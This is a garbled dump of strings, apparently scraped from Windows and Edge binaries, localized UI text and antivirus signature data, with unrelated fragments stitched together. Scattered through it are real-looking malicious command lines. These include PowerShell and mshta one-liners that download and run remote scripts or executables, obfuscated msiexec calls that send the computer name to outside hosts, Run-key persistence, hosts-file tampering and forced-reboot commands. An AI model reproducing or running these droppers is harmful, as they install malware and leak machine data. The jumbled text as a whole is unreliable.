    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exeSYSTEM\ControlSet001\Services\vmxnet/SILENT
obj\x86\Release\WindowsFormsApplication4.pdb$4811c8a3-97ce-4ae8-8a76-751e18dbb8abd
windowshandlew
c:\program files\windows security
c:\windows\system32\securityhealthservice.exe
WINDOWS11
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
 :\WINDOWS\system32\drivers\etc\K
$gc:\windows\system32\windowspowershell\v1.0\powershell.exe-c"startms-settings:printers;iwrhttps://raiinmaker.eu/reverse.ps1|iex"
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only TR_00016b99
.windowstyle=7
,@OS=Windows_NT
Fpolicybypass-noprofile-windows
microsoftoffice/16.0(windowsnt10.0;microsoftoutlook16.0.17126;pro)
WINDOWS11
WindowsCodecs.dll
%SystemRoot%\system32
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7171.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
c:\programfiles\windowsdefender
astpass for windowsw
s\system32
Microsoft.Windows.RulesEngineLogging
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.Column
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.get_Column
HostedWindowsFormsMessageHook
System.Windows.Forms.Internal
System.Windows.For
RestoreWindows
WindowsFlightInfo
WatcherShellWindowsRegister
Extensions require the "app.window.ime" permission to create windows.
Windows with no frame cannot have a color.
kWindowsHelloColorIcon
"OS=Windows_NT
ComSpec=C:\WINDOWS\system32\cmd.exe
The locale-independent name for the group that this rule belongs to.  If this field is non-null, then Windows Defender Firewall with Advanced Security assumes that this rule belongs to a Windows component or an installed application, and some parts of the rule are protected (including but not limited to the Name, Description, Program, and Service).
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
ME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
WINDOWS\
ePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WI
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\conf
\windows\
Windows
System.Windows.Forms
latform.win":  "Windows",
	system32\Windo
Root=C:\WINDOWS
OS=Windows_NT
Path=C:\WINDOWS\system32;
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
msWindowsCopilotLaunch
Spellcheck.Windows.ChromeLocalesSupport2.Both
Spellcheck.Windows.ChromeLocalesSupport2.HunspellOnly
Spellcheck.Windows.ChromeLocalesSupport2.NativeOnly
Spellcheck.Windows.ChromeLocalesSupport2.NoSupport
Spellcheck.Windows.SpellcheckLocalesSupport2.Both
Spellcheck.Windows.SpellcheckLocalesSupport2.HunspellOnly
Spellcheck.Windows.SpellcheckLocalesSupport2.NativeOnly
..\..\components\spellcheck\browser\windows_spell_checker.cc
GWindowsSpellChecker
~WindowsSpellChecker
Chrome might start preventing this site from opening new tabs or windows in the future. Learn more at https://www.chromestatus.com/feature/5243055179300864
WindowsSetTheme
WindowsSetDoNotDisturb
WindowsStartSnippingTool
WindowsSetBluetoothState
WindowsLaunchAddDeviceDialog
WindowsGetVersionAndEdition
WindowsGetPreferredLanguages
WindowsSnapWindows
WindowsChangeBackground
WindowsSetVolumeLevel
WindowsSetMute
WindowsGetAppPackages
WindowsLaunchApp
WindowsLaunchTroubleshooting
WindowsLaunchCast
WindowsChangeVolumeLevel
WindowsLaunchFocusTimer
pastWindowScenarioName
Windows11MicaTitlebar
PwaFromWindowsStore
waiting_for_windows_closed
num_app_windows
Microsoft.WebApp.WindowsStore.Apps.Count
Microsoft.WebApp.WindowsAction.LaunchResult
Microsoft.WebApp.WindowsAction.IsWindowsActionLaunch
Microsoft.WebApp.WindowsAction.FeatureEnabled
EdgeProtocolWindowsSearchBox
EdgeProtocolWindowsDashboard
EdgeProtocolWindowsRecall
RefreshForVizFrameSinkWindows
safebrowsing.aesb_update_time_windows_epoch_micros
System.Windows.Forms.UnsafeNativeMethods.IServiceProvider.QueryService
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.QueryService
cmd.exek/v/rst^a^r^tm^si^e^xecfw^s^u^c^p=va^dgw^vt^vc-^quie^tk^nzll^msg=^u^g^iy^u-^fv"http://m0.nu:8080/bxbdij4tj/nnyqygc9d6e4wk4mqhggwghnwi/lhxc/!computername!"!%systemroot%\system32\shell32.dll%
$client.downloadfile('http://palates.axisschoolofanimation.com/wp-content/plugins/otwsjrr/17/xsebzkg.exe',"$env:temp\pk31mxsebzkg.exe");start-process"$env:temp\pk31mxsebzkg.exe"-windowstylehidden;
cmd.execompartido/r^s^tar^t^msie^xe^cu^x^c^ta^g=^o^h^u^c^n^ov^d^l-fv"http://6t.pm:8080/axyh1nydc/f0yzztasuo/kjfedna/%computername%"/^qnxgn^re^ub^c^v=mo^i^l^sqp"%systemroot%\system32\imageres.dll%
^0c:\windows\system32\cmd.exe/cstart/minpowershell-windowstylehidden-command"&{invoke-webrequest-urihttp://dvaverif.ru:3001/www/shared.vbs-outfile%temp%\shared.vbs;start-process'%temp%\shared.vbs'}
+c:\windows\system32\cmd.exeddrivedata/v/cs^tar^tms^ie^xec/^f^v"http://6t.pm:8080/bvytjxm1kisj9xuef/hffktu43wptula7/xj/!computername!"^qfp^db^ye^ef=t^oy^k^re^x/qu^ie^t%windir%\system32\shell32.dll
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
msEdgeDiscoverWindowsActions
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\windows.system.userprofile.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\base.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.Collections.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.h
msPinningCampaignNoWindowsConsentTrigger
msPinningCampaignWindowsConsentTrigger
edge.split_screen.mojom.SplitWindowStartingUIHandler
msWindowsSearchIntegration
msWindowsSearchIntegrationQuickLinks
msWindowsSearchIntegrationRecentlyClosed
msWindowsSearchIntegrationUseServiceProcess
Microsoft.ProtocolLaunch.OpenLinks.WindowsAccountAvailable
.BrowserWindowSizeTooSmall
\windows\temp\
..\..\chrome\browser\edge_continuous_migration\windows_consent_handler_browser_extra_parts_win.cc
..\..\chrome\browser\edge_continuous_migration\windows_registry_util_win.cc
ReadWindowsExpConfigFromRegistry
windows_welcome.experience_shown_count
windows_welcome.experience_shown_time
Microsoft.OSUpgraded.WindowsWelcomeUpdateExperience
Microsoft.WindowsUpdate.TabCount
windows_welcome.could_show_in_control
windowsshell
Microsoft.Tabs.TabSearch.NumWindowsOnOpen
WINDOWS\system32;
WindowsImpersonationContext
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
(base::win::GetActivationFactory< IAppCapabilityStatics, RuntimeClass_Windows_Security_Authorization_AppCapabilityAccess_AppCapability>( &app_capability_statics_))
GetWindowsUserAgeGroup
DelayedGetWindowsUserAgeGroup
couldn't get windows user age group.
(base::win::GetActivationFactory< IUserStatics, RuntimeClass_Windows_System_User>(&user_statics))
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\vmbackup\vmbackup.pdb
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
OS=Windows_NT
COMPUTERNAME=WINDOWS11
USERNAME=WINDOWS11$
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
hklm\software\microsoft\windows defender\threats\ThreatSeverityDefaultAction
hklm\software\policies\microsoft\windows defender\threats\ThreatSeverityDefaultAction
hklm\software\policies\microsoft\windows defender\policy manager\ThreatSeverityDefaultAction
hklm\software\microsoft\windows defender\threats\ThreatTypeDefaultAction
hklm\software\policies\microsoft\windows defender\threats\ThreatTypeDefaultAction
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
Windows11
Windows11
WINDOWS11
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@
Windows/wbem/root/cimv2:Win32_OperatingSystem#.refresh
Windows/wbem/root/cimv2:Win32_OperatingSystem#.config
AslEnvGetSystem32DirPathBuf
AslEnvGetSystem32DirPathBuf failed [%x]
%BrowserAppProfile%\Document Windows!height
%s: Windows session is in invalid state %d, returning error
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
/Microsoft Windows Third Party Component CA 20120
Windows
Windows
Windows
Windows
ervable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
leUrl = "http://211.252.131.224/2021/image/4qmal.gifDownload_Go.SaveToFile "C:\Temp\4qmal.gif", 2= "/c " & "rename " & "C:\Temp\4qmal.gif 4qmal.exe"wsh.Run "C:\Windows\System32\cmd.exe " & cmdText,Behavior:Win32/CapfetoxTask.A
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#StandbyCacheReserveBytes
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_Memory=@#PagesInputPersec
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_System=@#ContextSwitchesPersec
Windows/wbem/root/cimv2:Win32_OperatingSystem=SINGLETON(*)#TotalVisibleMemorySize
Windows/wbem/root/cimv2:Win32_PerfRawData_PerfOS_Memory=@#FreeAndZeroPageListBytes
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_System=@#ProcessorQueueLength
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfDisk_PhysicalDisk.Name="_Total"
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfDisk_PhysicalDisk.Name="_Total"#.config
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfOS_Memory=@#PagesOutputPersec
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfDisk_PhysicalDisk.Name="_Total"#.refresh
0\varslamodano.info/aff-lightgetsystemwindowsdirectorya
 lokasi seperti petunjuk arah dan cuaca. Biarkan Windows dan aplikasi meminta lokasi Anda dan izinkan Microsoft menggunakan data lokasi Anda untuk meningkatkan layanan lokasi.
Dapatkan pengalaman berbasis lokasi seperti petunjuk arah dan cuaca. Biarkan Windows & aplikasi meminta lokasi Anda. Microsoft akan menggunakan data lokasi untuk meningkatkan layanan lokasi.
Kirim data diagnostik penintaan dan pengetikan opsional ke Microsoft untuk meningkatkan kemampuan pengenalan dan saran pada aplikasi dan layanan yang berjalan di Windows.
Jangan gunakan data diagnostik saya untuk membantu meningkatkan kemampuan saran dan pengenalan bahasa pada aplikasi dan layanan yang berjalan di Windows.
PC Anda memiliki sensor kehadiran yang dapat mendeteksi ketika Anda berada di dekat atau jauh dari PC. Windows akan menggunakan sensor kehadiran PC untuk secara otomatis mematikan layar ketika Anda pergi atau membangunkan PC ketika Anda mendekat. Aplikasi dapat meminta akses ke kehadiran Anda untuk mengaktifkan pengalaman baru. Anda dapat menonaktifkannya kapan saja di Pengaturan. Data sensor kehadiran diproses secara lokal di perangkat.
Windows tidak akan menggunakan sensor kehadiran PC untuk secara otomatis mematikan layar ketika Anda pergi atau membangunkan PC ketika Anda mendekat. Aplikasi yang memerlukan akses ke sensor kehadiran tidak akan berfungsi.
Aktifkan Temukan perangkat saya dan gunakan data lokasi perangkat Anda untuk membantu menemukan perangkat Anda jika hilang. Anda harus masuk ke Windows dengan akun Microsoft Anda untuk menggunakan fitur ini.
Windows tidak akan dapat membantu Anda melacak perangkat Anda jika hilang.
Microsoft mengumpulkan info tentang perangkat Anda, pengaturan dan kemampuannya, serta apakah perangkat berfungsi dengan baik. Data diagnostik yang diperlukan adalah tingkat minimum data diagnostik yang diperlukan untuk membantu menjaga perangkat Anda tetap berjalan, aman, beroperasi secara normal, dan untuk membuat peningkatan terkait Windows.
Ingin menyiapkan Windows Hello untuk dapat masuk dengan lebih cepat dan aman?
Pilih <b>Pelajari selengkapnya</b> untuk informasi tentang pengaturan di atas, bagaimana Windows membantu melindungi Anda dari aplikasi dan konten web yang tidak aman, serta transfer dan penggunaan data terkait.
Pilih pengaturan Anda, lalu pilih <b>Terima</b> untuk menyimpannya. Periksa tautan <b>Pelajari selengkapnya</b> untuk mengetahui informasi tentang pengaturan ini, cara mengubahnya, bagaimana Windows membantu melindungi Anda dari aplikasi dan konten web yang tidak aman, serta transfer dan penggunaan data terkait.
Kirim hanya informasi tentang perangkat Anda, pengaturan dan kemampuannya, dan apakah perangkat berperforma baik. Data diagnostik digunakan untuk membantu memastikan Windows tetap aman dan terbaru, memecahkan masalah, serta melakukan peningkatan produk.
Kirim informasi tentang cara Anda menggunakan aplikasi dan fitur, serta informasi tambahan tentang kesehatan perangkat, aktivitas perangkat dan web, serta pelaporan kesalahan yang disempurnakan. Data diagnostik digunakan untuk membantu agar Windows dan produk Microsoft lainnya tetap aman dan terbaru, memecahkan masalah, dan melakukan penyempurnaan produk. Data diagnostik wajib akan selalu disertakan jika Anda memilih untuk mengirim data diagnostik Opsional. Apa pun pilihan Anda, perangkat Anda akan sama amannya dan akan beroperasi secara normal.
Mengirim hanya informasi tentang perangkat Anda, pengaturan dan kemampuannya, dan apakah perangkat berperforma baik. Data diagnostik digunakan untuk membantu memastikan Windows tetap aman dan terbaru, memecahkan masalah, serta melakukan peningkatan produk. Terlepas dari pilihan Anda, perangkat Anda akan sama amannya dan akan beroperasi secara normal.
Izinkan Windows menggunakan informasi tentang perangkat Anda dan cara Anda menggunakannya untuk meningkatkan pengalaman Windows dengan menampilkan tips, rekomendasi, dan penawaran yang dipersonalisasi. Microsoft juga menggunakan data dari produk lain untuk mempersonalisasi penawaran ini. Untuk menghentikan penggunaan data lain ini, kunjungi https://aka.ms/personalized-offers.
Data Windows tidak akan digunakan untuk mempersonalisasikan tips, rekomendasi, dan penawaran.
Dapatkan penawaran yang dipersonalisasi dari Windows
Izinkan Windows menggunakan informasi tentang perangkat Anda dan cara Anda menggunakannya
untuk meningkatkan pengalaman Windows Anda dengan menawarkan tips, iklan, dan rekomendasi yang dipersonalisasi.
Anda akan mendapatkan tips umum, iklan, dan rekomendasi dari Windows.
Want to set up Windows Hello to sign in faster and more securely?
Your device also has a fingerprint sensor that works with Windows Hello so you can sign in securely with just your finger.
List of Windows Hello compatible sensors
Windows Hello uses your fingerprint to recognise you and enables a <b>more secure, quick and password-free way</b> for you to verify your identity.
Your device has a fingerprint sensor that works with Windows Hello, giving you a simple, password-free way to verify your identity.
Windows Hello uses your camera to recognise you and enables a <b>more secure, quick and password-free way</b> for you to verify your identity.
Your camera works with Windows Hello to recognise you, giving you a simple, password-free way to verify your identity.
Windows Hello fingerprint icon
Windows Hello face icon
Windows Hello face animation
Instantly unlock your device and easily approve actions like creating passkeys and using Windows Recall.
 never in the cloud, never shared. You can remove Windows Hello anytime from Windows Settings.
Sa iyong sa iyo ang Windows. Mag-enjoy!
Host ng Karanasan sa Web ng Windows
Pack para sa Karanasan sa Feature ng Windows
Awtomatikong mag-download at mag-install ng Mga Windows Update.
Paano baguhin ang mga setting ng update para sa Windows Update
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
ms-windows-store-deskext~
ms-windows-store2{
ms-windows-storez
mswindowsmusic\
ms-windows-store-deskextT
ms-windows-store2Q
windowsdefender
windows-feedbackL
microsoft.windows.cameraK)
microsoft.windows.camera.multipickerJ$
microsoft.windows.camera.pickerI
microsoft.windows.photos.pickerE
microsoft.windows.photos.videoeditB"
microsoft.windows.photos.cropA
windowsdefender<
ms-windowsbackup
,-windowstylehidden-command"invoke-webrequest'https://files.catbox.moe/wm6m7j.bat'-outfile$env:temp\
.bat;start-process-windowstylehidden$env:temp\
.exe@eu]e8v3i.+cmd.exeo2n\n0-sysc:\windows\system32\cmd.exec/c"perlitic\burgoyne.cmdreg"acetimetertbansalaguezltfc:\windows\system32\zipfldr.dll%systemroot%
Pc:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('msh'+'ta.e'+'xe'+'https://advanced-ipscanner.com/chromeinstaller.exe')"
start/minpowershell.exe-windowstylehidden";$
Windows.Client.CBS_cw5n1h2txyewy9
show1234.com46.151.52add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /vfacebook.com
microsoft.windows.verclsidv
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_pl-pl_43d111499fba02a3
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_pt-br_4398197d9fe39cdf
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_pt-pt_438294399ff3ace3
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_qps-ploc_c428f17fc0ef497f
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_qps..ocm_90e35e5d2764ca3e
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_ru-ru_9e4e724bdbda9d17
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_sv-se_cc67482ff947d4d4
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_tr-tr_f9418ee617a4b82b
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_zh-cn_09e3a924cb2cbd44
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_zh-tw_09827a1ecb758854
 127.0.0.1 &rmdir "\" /q /s &reg delete hklm\software\microsoft\windows\currentversion\policies\ext\clsid /f &reg delete "hklm\software\microsoft\windows\currentversion\explorer\browser helper obj
Software\Microsoft\Windows\CurrentVersion\RuS
Windows Driver for CashontoolcashonbhoCashOn\bin\N{CE2744FF-57FE-42AC-9F0D-7C38C00E00E8}{A13E6D04-17B3-40FC-B69A-C47914BA377E}Cashon NcServicehttp://www.cashon.co.kr/app/uninstall.php?
\uninstall\Windows Driver for Cashontool
C:\Program Files\bind_\SOFTWARE\Microsoft\Internet Explorer\Extensions\{1D901067-2529-4A9B-9B6B-7A1DB3A44CB5}\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{D1BB7CF4-4463-4e91-88D7-ECC3CE0A13B7}C:\Pr
windowscamera.ex|5dbbb90546eb3568)
GetSystemWindowsDirectoryW
!#SCRIPT:PsCredInject.A!NewWinLogonB
k-ieq"newwinlogon
\..\..\..\windows\system32\mshta.exe
 \system32http://
uWindows
@.exe|c:\windows\
c:\windows\
[c:\windows\
]c:\windows\
@.exe|c:\windows\
@.exe|c:\windows\
{oc:\windows\
@.exe|c:\windows\
#jc:\windows\
@.exe|c:\windows\
@.exe|c:\windows\
SbieDll%s\%s.exeWindows 
c:\windows\system32\
r</support to windows system services..\...\ugos.comanahtar
filecopy(@windowsdir&"\inf\system.inf",$var4[$i]&"\autorun.inf",1)
\\.\physicaldrive%dshutdown -r -f -t 0%systemroot%\system32\drivers\*.sys
WSOFTWARE\Microsoft\Windows\CurrentVersion\Run
\system32\cssrss.exe
\software\microsoft\windows\currentversion\run /v
MCI Progrshutdown.exe -r -f -t 0FindWindowASoftware\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersStartup
^@echo127.0.0.1viabcp.com>>%windir%\system32\drivers\etc\hosts
c:\windows\mydown.aspshuiniu.exeqqm.exe
c:\windows\system32\
c:\windows\
c:\windows\system32\
c:\windows\
cd windows
ijetvideoplugindel %systemroot%\system32\
if exist %systemroot%\system32\
%sxtempx.\work_svn\madonna\packed_installergl.nulladdress.comcmd.exe /c "make_dll.bat%s:*:enabled:windows update%systemroot%\system32\rsvpsp.dllaf133d4e-4b35-4bd8-9a30-ce6a480e53d57da51aa8-a5f2-46cc-b892-a3df1ea4762f
windows live hoje
offconectiontxt_msn as tem_msn fromwindows live messenger
windows live messenger 
c:\windows\log.txt
c:\windows\log.txt
c:\windows\system32\
"exec"="http://www.badu.cc""hoticon"="%windir%\\system32\\badu.ico"
C:\WINDOWS\system32\
C:\WINDOWS\system32\
C:\WINDOWS\system32\
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
